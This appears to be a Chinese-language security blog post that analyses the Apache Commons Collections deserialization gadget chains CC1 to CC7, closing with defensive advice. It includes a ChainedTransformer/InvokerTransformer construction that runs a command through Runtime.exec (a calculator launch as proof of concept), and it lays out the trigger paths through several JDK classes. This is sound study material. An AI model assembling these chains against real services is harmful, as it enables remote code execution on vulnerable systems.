java-cc链审计
字数 1470 2025-08-10 12:17:58
Java Commons Collections链审计与分析
基础概念
关键术语
- Sink Gadget (执行点): 恶意命令最后进入到系统执行层面的代码点
- Kick-off Gadget (触发点): 恶意命令进入服务的代码点,最常见的是反序列化攻击入口
- Chain Gadget: 命令从服务流向系统执行层面的调用链路线
背景
Apache Commons Collections是一个扩展了Java标准库Collection结构的第三方基础库,提供了强有力的数据结构类型和各种集合工具类。CC链利用的就是这个基础库中的功能。
Sink Gadget分析
1. 命令执行(CC1, CC2)
InvokerTransformer:
Transformer transformer = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a Calculator.app"});
transformer.transform(Runtime.getRuntime());
工作原理:
- 参数:方法名、参数类型数组、参数值数组
- 通过反射调用指定方法
- 关键源码:
public Object transform(Object input) {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}
2. 字节码加载运行(CC3)
TemplatesImpl:
- 不是直接执行命令,而是加载字节码执行恶意代码
- 关键要求:字节码对应的类必须是
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类 - 加载流程:
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
}
TrAXFilter:
public TrAXFilter(Templates templates) throws TransformerConfigurationException {
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
}
InstantiateTransformer:
public Object transform(Object input) {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
Chain Gadget分析
基础调用链组件
- ConstantTransformer:
public Object transform(Object input) {
return iConstant; // 直接返回构造函数传入的常量
}
- ChainedTransformer:
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
典型用法:
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a Calculator.app"})
});
关键中间链
- TransformedMap (CC1):
Map transformedMap = TransformedMap.decorate(hashMap, null, chain);
decorate()方法设置key和value的转换器- 触发点:
put()方法会调用transformKey()和transformValue()checkSetValue()方法会调用value的transform
- LazyMap (CC1):
public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
}
}
- TransformingComparator (CC2, CC3):
public int compare(Object obj1, Object obj2) {
Object value1 = this.transformer.transform(obj1);
Object value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
- TiedMapEntry:
toString()和hashCode()都会调用getValue()getValue()会调用map的get()方法
Kick-off Gadget分析
1. AnnotationInvocationHandler (TransformedMap, CC1)
触发流程:
AnnotationInvocationHandler.readObject()
TransformedMap.decorate()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
关键点:
- 利用
var5.setValue()触发checkSetValue() - 需要特别注意Map.Entry接口的重载实现
2. AnnotationInvocationHandler (LazyMap, CC1, CC3)
动态代理利用:
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
Lazymap.get()
ChainedTransformer.transform()
3. PriorityQueue (CC2, CC4)
触发链:
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
关键点:
- 需要设置comparator
- 队列大小至少为2
4. BadAttributeValueExpException (CC5)
触发链:
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
5. HashMap (CC6)
触发点:
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
6. HashTable (CC7)
触发链:
HashTable.readObject()
reconstitutionPut()
key.equals()
TiedMapEntry.equals()
TiedMapEntry.getValue()
LazyMap.get()
防御建议
- 升级Apache Commons Collections到安全版本
- 使用Java原生序列化过滤器
- 对反序列化操作进行严格限制
- 使用安全管理器限制敏感操作
总结
CC链攻击的核心在于利用Apache Commons Collections中Transformer接口的反射调用能力,通过精心构造的调用链,最终实现命令执行或代码加载。理解这些链的关键在于掌握各个组件的功能及其交互方式,特别是反射调用和动态代理的使用。